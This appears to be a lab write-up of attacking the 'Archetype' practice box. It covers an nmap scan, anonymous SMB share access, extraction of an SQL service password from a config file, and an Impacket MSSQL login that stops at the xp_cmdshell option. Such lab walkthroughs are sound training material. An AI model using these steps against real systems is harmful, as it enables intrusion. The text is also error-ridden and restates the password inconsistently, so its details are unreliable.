Archetype



Disctipcion of pentest on Archetype box

First we going to start with scans

nmap -sV -sC 10.129.150.23

Starting Nmap 7.93 (https://nmap.org) at 2023-09-30 14:16 BST

Nmap scan report for 10.129.150.23

Host is up (0.062s latency).

Not shown: 996 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds

1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM

|_ms-sql-info: ERROR: Script execution failed (use -d to debug)

|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)

| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback

| Not valid before: 2023-09-30T13:12:57 |_Not valid after: 2053-09-30T13:12:57

| ssl-date: 2023-09-30T13:17:03+00:00; +2s from scanner time.

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:

| smb-security-mode:

account_used: guest

authentication level: user

challenge response: supported

_ message_signing: disabled (dangerous, but default)

| smb2-time:

date: 2023-09-30T13:16:55

|_ start_date: N/A
| smb2-security-mode:

311:

Message signing enabled but not required

smb-os-discovery:

OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)

| Computer name: Archetype

NetBIOS computer name: ARCHETYPE\x00

| Workgroup: WORKGROUP\x00

System time: 2023-09-30T06:16:57-07:00

| clock-skew: mean: 1h45m03s, deviation: 3h30m02s, median: 1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 20.68 seconds

We can se that ports are open and Mincrosoft SQL database is open on 1433

lest enumerate SMB with smbclient tool

```
Sharename
                          Comment
                  Type
    ADMIN$
                Disk
                       Remote Admin
    backups
               Disk
    C$
             Disk
                    Default share
    IPC$
              IPC
                     Remote IPC
SMB1 disabled -- no workgroup available
we found that backup is non-Administrative available
lest try to enumerate them
smbclient -N \\\\10.129.150.23\\backups
Try "help" to get a list of possible commands.
smb: \>
smb: \> Is
                   D
                         0 Mon Jan 20 12:20:57 2020
                         0 Mon Jan 20 12:20:57 2020
                   D
 prod.dtsConfig
                               609 Mon Jan 20 12:23:02 2020
        5056511 blocks of size 4096, 2534633 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (1.7 KiloBytes/sec) (average 1.7 KiloBytes/
sec)
smb: \>
we found file prod.disConfig it seems like config file we dowlad that by comand get maby we going to
find something intrestig inside
$cat prod.dtsConfig
<DTSConfiguration>
  <DTSConfigurationHeading>
    <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..."</pre>
GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
  </DTSConfigurationHeading>
  <Configuration ConfiguredType="Property"
Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
    <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql svc;Initial
Catalog=Catalog; Provider=SQLNCLI10.1; Persist Security Info=True; Auto Translate=False; </
ConfiguredValue>
  </Configuration>
We found authentication data for user sql svc with password Mp13g4c0r23
we search for mssglclient.py and try to conect with those data
python3 mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.150.23 -windows-auth
Impacket v0.12.0.dev1+20230928.173259.06217f05 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
```

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192

```
SQL (ARCHETYPE\sql svc dbo@master)>
we conect sucesfuly
QL (ARCHETYPE\sql svc dbo@master)> help
 lcd {path}
                    - changes the current local directory to {path}
 exit
                 - terminates the server process (and this session)
  enable xp cmdshell
                         - you know what it means
  disable_xp_cmdshell
                         - you know what it means
                     - enum databases
  enum db
  enum links
                     - enum linked servers
  enum_impersonate
                          - check logins that can be impersonated
  enum_logins

    enum login users

  enum users
                      - enum current db users
  enum_owner
                       - enum db owner
                          - impersonate with execute as user
  exec_as_user {user}
 exec_as_login {login}
                         - impersonate with execute as login
  xp cmdshell {cmd}
                         - executes cmd using xp cmdshell
  xp dirtree {path}
                        - executes xp dirtree on the path
 sp start job {cmd}
                         - executes cmd using the sql server agent (blind)
  use link {link}
                     - linked server to use (set use link localhost to go back to local or use link ...
to get back one step)
  ! {cmd}
                   - executes a local shell cmd
  show_query
                      - show query
  mask query
                      - mask query
```

we google that we can use comand to spawn comand shell

[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'. [*] INFO(ARCHETYPE): Line 1: Changed language setting to us english.

[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)

[!] Press help for extra shell commands

